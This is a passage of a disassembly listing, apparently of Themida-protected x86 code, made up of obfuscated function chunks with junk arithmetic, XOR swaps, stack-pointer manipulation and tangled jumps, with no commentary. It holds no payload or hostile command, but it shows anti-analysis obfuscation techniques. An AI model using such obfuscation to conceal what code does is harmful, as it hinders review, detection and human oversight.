; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591C87:				; CODE XREF: sub_58E66C-121Cj
		add	ecx, edx
		jmp	loc_59090C
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591C8E:				; CODE XREF: sub_596082-6B4Cj
		not	[esp+18h+var_18]
		push	[esp+18h+var_18]
		jmp	loc_597001
; END OF FUNCTION CHUNK	FOR sub_596082

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_591C99	proc near		; CODE XREF: sub_58E66C+4F53j

var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_6		= dword	ptr  0Eh

; FUNCTION CHUNK AT 0058AB45 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058ABDD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058AD5F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058AFAE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058B3F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058BAA5 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058BE3B SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058C01D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058C2FE SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0058C44B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CDA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058D22A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D2B8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058D4E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D4FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D582 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058DFC0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E34B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E799 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E82D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058ECF2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058EDAA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F53B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058F68B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005905FE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00590755 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00590A0D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590A24 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00590CB9 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00590EBA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00590F5D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590F80 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590FA5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005913E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005918CE SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00591A16 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591B6A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059200C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005924B5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005926D8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592840 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00592C4E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005936CC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593A80 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00594367 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005944A6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005945FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005946C3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594839 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594D2B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00594F52 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594FD4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00595393 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595B9D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596C77 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005970AD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005971B0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005972B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059736A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00597814 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_58C01D
sub_591C99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_591CA1:				; CODE XREF: Themida_:0058ACF8j
					; Themida_:00592096j
		add	esi, 1AC26E7Fh
		push	ebx
		mov	ebx, 0D482B96h
		push	edx
		mov	edx, 205309A5h
		jmp	loc_58D636
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591CB8:				; CODE XREF: sub_596082:loc_59389Cj
		jmp	loc_5941D9
; ---------------------------------------------------------------------------


loc_591CBD:				; CODE XREF: sub_596082-52F9j
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		push	eax
		jmp	loc_5947EE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_591CCD:				; CODE XREF: Themida_:0058E61Cj
		push	6D63h
		mov	[esp], eax
		mov	eax, 71D6668Dh
		jmp	loc_5967B1
; ---------------------------------------------------------------------------


loc_591CDF:				; CODE XREF: Themida_:0058AB76j
		pop	ebx
		add	edi, 1D831332h
		add	edi, ecx
		push	ecx
		mov	ecx, 1D831332h
		sub	edi, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5959BE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_58FAB6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_58EC29
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, 128956F0h
		add	ebp, edx
		sub	ebp, 128956F0h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_590592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_591D66:				; CODE XREF: sub_58E91C+6F17j
		add	[esp-4+arg_4], ebx
		pop	ebx
		mov	edx, [esp-8+arg_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		push	ebx
		push	esi
		jmp	loc_58EE1C
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591D86:				; CODE XREF: sub_596082-20EAj
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_590946
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_591D94:				; CODE XREF: Themida_:00595A48j
		push	ebp
		mov	ebp, 5CB67220h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 23851A2Dh
		jmp	loc_590311
; ---------------------------------------------------------------------------


loc_591DAD:				; CODE XREF: Themida_:0059287Cj
		add	edi, esi
		pop	esi
		jmp	loc_58F730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591DB5:				; CODE XREF: sub_58E66C+BBDj
		pop	dword ptr [esp+0]
		jmp	loc_58DAD8
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_591DBD:				; CODE XREF: Themida_:0058C6AEj
					; Themida_:0058EFB0j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_591DC2:				; CODE XREF: Themida_:0058A51Dj
		add	edi, 4
		jmp	loc_58FC4D
; ---------------------------------------------------------------------------


loc_591DCD:				; CODE XREF: Themida_:0059308Cj
		sub	ebp, 1
		dec	ebp
		xor	ebp, 8508A8AAh
		add	edi, ebp
		pop	ebp
		jmp	loc_596952
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_591DDF:				; CODE XREF: sub_5925A4-1176j
		shl	dh, 5
		js	sub_595387
		push	eax
		mov	ah, 83h
		jmp	loc_595B9D
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_591DF0:				; CODE XREF: Themida_:0058E52Fj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58E3FB
; ---------------------------------------------------------------------------


loc_591E01:				; CODE XREF: Themida_:00591479j
		inc	dword ptr [esp]
		pushf
		jmp	loc_59413B
; ---------------------------------------------------------------------------


loc_591E0A:				; CODE XREF: Themida_:005969FCj
		mov	ebx, esp
		jmp	loc_595437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_591E11:				; CODE XREF: sub_593009-1EC5j
		sub	edx, 45AD5787h
		jb	loc_58B938
		xor	edx, 5724C42Ch
		push	ecx
		mov	ecx, edx
		mov	edi, ecx
		pop	ecx
		pop	edx
		not	edi
		and	edi, 7C9E4B57h
		xor	edi, 4EB36D76h
		push	ecx
		mov	ecx, 2E4C2A83h
		dec	ecx
		not	ecx
		jmp	loc_58C754
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591E46:				; CODE XREF: sub_58E66C+189Aj
		push	edx
		jmp	loc_590C44
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591E4C:				; CODE XREF: sub_596082-4Dj
		add	edx, 2B4125B5h
		jmp	loc_58DE76
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_591E57:				; CODE XREF: Themida_:loc_595136j
					; sub_5F45E7-5D984j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58B9B7
		push	7203h
		mov	[esp+0], edx
		push	eax
		mov	eax, 20h
		mov	edx, eax
		push	dword ptr [esp+0]
		jmp	loc_58FBFF
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_591E79:				; CODE XREF: sub_58FB68+35D5j
		add	ebx, 4
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		mov	ecx, 4
		sub	ebx, 3EE050A8h
		jmp	loc_590433
; END OF FUNCTION CHUNK	FOR sub_58FB68
; ---------------------------------------------------------------------------


loc_591E95:				; CODE XREF: Themida_:0058F057j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58ACBD
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_594B90
; ---------------------------------------------------------------------------


loc_591EC3:				; CODE XREF: Themida_:0058C523j
		cmp	cl, al
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_591ECB:				; CODE XREF: sub_5F45E7-6499Fj
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_58D29F
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_591ED9:				; CODE XREF: Themida_:0058D57Dj
		pop	ecx
		jmp	loc_5916C9
; ---------------------------------------------------------------------------


loc_591EDF:				; CODE XREF: Themida_:0059403Ej
		push	small 6496h
		mov	[esp], cx
		push	eax
		mov	al, bh
		mov	cl, al
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, dl
		jmp	loc_5922E8
; ---------------------------------------------------------------------------


loc_591EFA:				; CODE XREF: Themida_:0059495Dj
		push	6985h
		mov	[esp], ecx
		push	2C167E6Ah
		pop	ecx
		push	2704h
		mov	[esp], ebp
		mov	ebp, 0D3E9819Ah
		add	ecx, ebp
		jmp	loc_592307
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_591F1C:				; CODE XREF: sub_58AE7C+9F81j
		not	bl
		push	eax
		jmp	loc_58DFF0
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_591F24:				; CODE XREF: Themida_:005901E8j
		push	6155h
		mov	[esp], edx
		jmp	loc_595228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591F31:				; CODE XREF: sub_58E66C+42E6j
		mov	[esp+0Ch+var_C], edx
		mov	edx, 85219ABh
		jmp	loc_5964ED
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591F3E:				; CODE XREF: sub_596082+1072j
		mov	esp, [esp+8+var_8]
		jmp	loc_58E096
; ---------------------------------------------------------------------------


loc_591F46:				; CODE XREF: sub_596082-9ABBj
		xor	edx, edi
		pop	edi
		sub	ebx, edx
		pop	edx
		jmp	loc_590AB8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_591F51:				; CODE XREF: Themida_:00595AD8j
		pop	edi
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5959FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_591F63:				; CODE XREF: sub_58D2AA+2F5Fj
					; sub_596082-4E83j
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		push	[esp+10h+var_C]
		jmp	loc_590FC6
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------


loc_591F8A:				; CODE XREF: Themida_:0058F15Bj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5947AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_591F95:				; CODE XREF: sub_58D2AA-28C0j
		pop	ebx
		jmp	loc_58CCAE
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------


loc_591F9B:				; CODE XREF: Themida_:0058C0DBj
		add	esp, 4
		shl	dl, 7
		jmp	loc_58B1D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591FA6:				; CODE XREF: Themida_:0058CDCFj
					; sub_58E66C+74ACj
		mov	edx, 6D1E53A9h
		jmp	loc_596182
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_591FB0:				; CODE XREF: sub_59236E+41EEj
		pop	eax
		pop	[esp+8+var_8]
		jmp	loc_58C81B
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------


loc_591FB9:				; CODE XREF: Themida_:loc_592CD7j
		xor	eax, 38287A18h
		jmp	loc_5957A4
; ---------------------------------------------------------------------------


loc_591FC3:				; CODE XREF: Themida_:0058D332j
		jno	loc_595167
		shr	eax, 6
		or	eax, 35C57898h
		mov	dl, bh
; START	OF FUNCTION CHUNK FOR sub_593009


loc_591FD3:				; CODE XREF: sub_593009+42FFj
		mov	[esp-28h+arg_24], ebx
		mov	ebx, 127C7A38h
		and	ebx, 15631415h
		shl	ebx, 5
		neg	ebx
		add	ebx, 0C020204h
		jmp	loc_5925B6
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_591FF1:				; CODE XREF: Themida_:005928CAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5908C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_59200C:				; CODE XREF: sub_591C99-2EE7j
					; Themida_:005912F5j
		xor	edx, 641079C8h
		push	ebx
		mov	ebx, 3BE52B61h
		jmp	loc_592840
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_58E9FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_592032:				; CODE XREF: Themida_:0059146Dj
					; sub_596BF6-2342j
		xchg	ebx, [esp+0]
		pop	esp
		xor	eax, ecx
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_58DCB7
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_592041:				; CODE XREF: Themida_:00593B6Dj
		not	ecx
		neg	ecx
		jg	loc_59372F
		shl	ecx, 8
		neg	ecx
		jl	loc_59096E
		add	ecx, 17EE0304h
		add	ebx, ecx
		mov	ecx, [esp]
		mov	eax, esi
		mov	cx, [esp]
		push	esi
		push	7448h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	6BEAh
		mov	[esp], ebp
		mov	ebp, 2
		add	esi, 5439648Bh
		sub	esi, 1AC26E7Fh
		add	esi, ebp
		jmp	loc_591CA1
; ---------------------------------------------------------------------------


loc_59209B:				; CODE XREF: Themida_:00596B8Fj
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		push	3E10h
		mov	[esp], esp
		jmp	loc_58B7AB
; ---------------------------------------------------------------------------


loc_5920BC:				; CODE XREF: Themida_:0058C005j
		add	esp, 4
		add	ebp, 4
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 7854798Fh
		push	ebx
		mov	ebx, 31CB1F1Dh
		jmp	loc_593132
; ---------------------------------------------------------------------------


loc_5920E7:				; CODE XREF: Themida_:0058E917j
		bts	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5920F2:				; CODE XREF: sub_58E66C+6080j
		pop	eax
		xchg	esi, [esp+8+var_8]
		jmp	loc_58CF73
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5920FB:				; CODE XREF: Themida_:00596BA2j
		xchg	ebp, [esp]
		jmp	loc_596F50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_592103:				; CODE XREF: sub_596498-695Cj
		mov	eax, [esp+0Ch+var_C]
		push	ebp
		jmp	loc_58FE06
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_59210C:				; CODE XREF: Themida_:0058BEC0j
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_595A07
; ---------------------------------------------------------------------------


loc_59211A:				; CODE XREF: Themida_:0059674Cj
		pop	ebx
		push	ebx
		jmp	loc_58B247
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_592121:				; CODE XREF: sub_596082-1868j
		xor	bl, 2Dh
		mov	dh, bl
		pop	bx
		add	dh, 8
		shl	dh, 8
		jmp	sub_592646
; ---------------------------------------------------------------------------


loc_592133:				; CODE XREF: sub_596082-2A79j
		shr	cl, 8
		add	cl, 0D3h
		xor	al, cl
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_591B59
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_592146:				; CODE XREF: sub_593009-41A5j
		add	ebx, ecx
		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_595D5D
; END OF FUNCTION CHUNK	FOR sub_593009

; =============== S U B	R O U T	I N E =======================================



sub_592153	proc near		; CODE XREF: sub_5925A4+4591j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 0058C71F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058CB34 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CE86 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059682C SIZE 0000000F BYTES

		push	ebx
		jmp	loc_59682C
sub_592153	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_592159:				; CODE XREF: Themida_:0058F737j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	edx, 3D351CEBh
		push	eax
		mov	eax, 8B57BD9h
		sub	edx, eax
		pop	eax
		add	edx, 79A00200h
		jmp	loc_594C6E
; ---------------------------------------------------------------------------


loc_592187:				; CODE XREF: Themida_:0058BD20j
		and	eax, 5F1E6DABh
		jnp	loc_592711
		sub	eax, 3372C318h
		mov	ecx, eax
		pop	eax
		and	ecx, 5227171Eh
		xor	ecx, 41924892h
		add	ecx, 0AC68B26Ah
		jmp	loc_595FF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_5921B1:				; CODE XREF: sub_58FB68+539j
		add	eax, [ebx]
		pop	ebx
		pop	edx
		pop	ebx
		mov	ecx, [esp-8+arg_4]
		jmp	loc_58D2CA
; END OF FUNCTION CHUNK	FOR sub_58FB68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5921BE:				; CODE XREF: sub_596082-B664j
		add	ebp, ebx
		jmp	loc_58E25B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5921C5:				; CODE XREF: sub_5F45E7-69F39j
		inc	cl
		jl	loc_58E0CA
		xor	cl, 0ECh
		add	cl, 0E0h
		sub	al, 0DDh
		sub	al, cl
		sub	esp, 2
		mov	al, cl


loc_5921DC:				; CODE XREF: Themida_:00595D6Cj
		pop	esp
		xor	cl, bh
		pop	ebx
		jmp	loc_58C5B5
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_5921E5:				; CODE XREF: Themida_:00592995j
		not	ecx
		add	ecx, 0A82E46FBh
		add	eax, ecx
		pop	ecx
		push	ebp
		jmp	loc_58BC02
; ---------------------------------------------------------------------------


loc_5921F6:				; CODE XREF: Themida_:005974D1j
		mov	eax, 4B9F2B48h
		shr	eax, 8
		or	eax, 7397650Bh
		jnp	loc_58D8C6
		jmp	loc_58C997
; ---------------------------------------------------------------------------


loc_59220E:				; CODE XREF: Themida_:00596506j
		mov	edi, [esp]
		jmp	loc_592452
; ---------------------------------------------------------------------------


loc_592216:				; CODE XREF: Themida_:005915A1j
		pop	edi
		and	ebp, 4C0C2DB2h
		neg	ebp
		shr	ebp, 2
		add	ebp, 1
		shl	ebp, 8
		push	edx
		mov	edx, 2094C04h
		jmp	loc_5905B5
; ---------------------------------------------------------------------------


loc_592233:				; CODE XREF: Themida_:005938F7j
		xor	eax, 4A997F96h
		and	eax, 8C242FCh
		sub	eax, 6F783D04h
		add	eax, 6F37FAA0h
		sub	ebp, 31A263D9h
		sub	ebp, eax
		add	ebp, 31A263D9h
		pop	eax
		push	2D82h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_58B4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59226F:				; CODE XREF: sub_596082-6A1Ej
		add	eax, 6EA3528Ch
		jmp	loc_59189F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_592279:				; CODE XREF: Themida_:0058B7A6j
		pop	edx
		jmp	loc_58A618
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_59227F:				; CODE XREF: sub_58F160-196Bj
		mov	eax, esp
		jmp	loc_5942B6
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_592286:				; CODE XREF: sub_5F45E7-68E65j
		push	edx
		mov	dh, 0DDh
		shl	dh, 4
		and	dh, 4Eh
		inc	dh
		add	dh, 0B8h
		xor	ch, dh
		pop	edx
		xor	ch, 0ACh
		add	al, ch
		pop	ecx
		push	bx
		mov	bh, 0E6h
		sub	al, bh
		pop	bx
		add	al, bl
		add	al, 0E6h
		push	dx
		mov	dl, 35h
		sub	al, dl
		mov	dx, word ptr [esp+2Ah+var_2C+2]
		add	esp, 2
		mov	bx, word ptr [esp+26h+var_28+2]
		push	eax
		mov	eax, esp
		jmp	loc_58F0B6
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_5922C2:				; CODE XREF: Themida_:0059257Dj
		sub	al, cl
		jmp	loc_59694B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_5922C9:				; CODE XREF: sub_596082-6EE0j
					; sub_58C878+5B99j
		xchg	ebx, [esp+2+var_4+2]
		pop	esp
		shr	edi, 3
		jmp	loc_58FAF9
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_5922D5:				; CODE XREF: Themida_:0058E905j
		push	edx
		mov	edx, 1FA740D6h
		sub	dword ptr [esp+8], 41784E59h
		jmp	loc_58F6E1
; ---------------------------------------------------------------------------


loc_5922E8:				; CODE XREF: Themida_:00591EF5j
		push	eax
		mov	ah, cl
		mov	bh, ah
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58E684
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5922FC:				; CODE XREF: sub_58E66C-1353j
		add	edx, 62B56169h
		jmp	loc_58B28A
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_592307:				; CODE XREF: Themida_:00591F17j
		pop	ebp
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_58E526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_592312:				; CODE XREF: sub_58E66C+8140j
		dec	edi
		jz	loc_59496A
		push	ecx
		mov	ecx, 0DFD2E6Fh
		jmp	loc_5907E4
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58A699
; ---------------------------------------------------------------------------


loc_59232C:				; CODE XREF: Themida_:0058E3FFj
		push	5E31h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	1C4F6823h
		pop	edi
		add	edi, 0F73EACE1h
		mov	ebx, edi
		pop	edi
		jmp	loc_58C115
; ---------------------------------------------------------------------------


loc_592354:				; CODE XREF: Themida_:00593004j
		push	5E1Ah
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 68152469h
		jmp	loc_5947BE

; =============== S U B	R O U T	I N E =======================================



sub_59236E	proc near		; CODE XREF: sub_596082-9175j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058B1B9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058C81B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D028 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DC90 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FA86 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00590DB2 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00591FB0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005927F2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00592AFE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592BE8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005941BE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005956A4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059654D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00596E85 SIZE 00000013 BYTES

		push	ebp
		not	[esp+4+var_4]
		pop	ebp
		xchg	ebp, [esp+0]
		push	dword ptr [esp+0]
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_5956A4
sub_59236E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59238D:				; CODE XREF: Themida_:0058FB55j
		push	dword ptr [esp]
		pop	edi
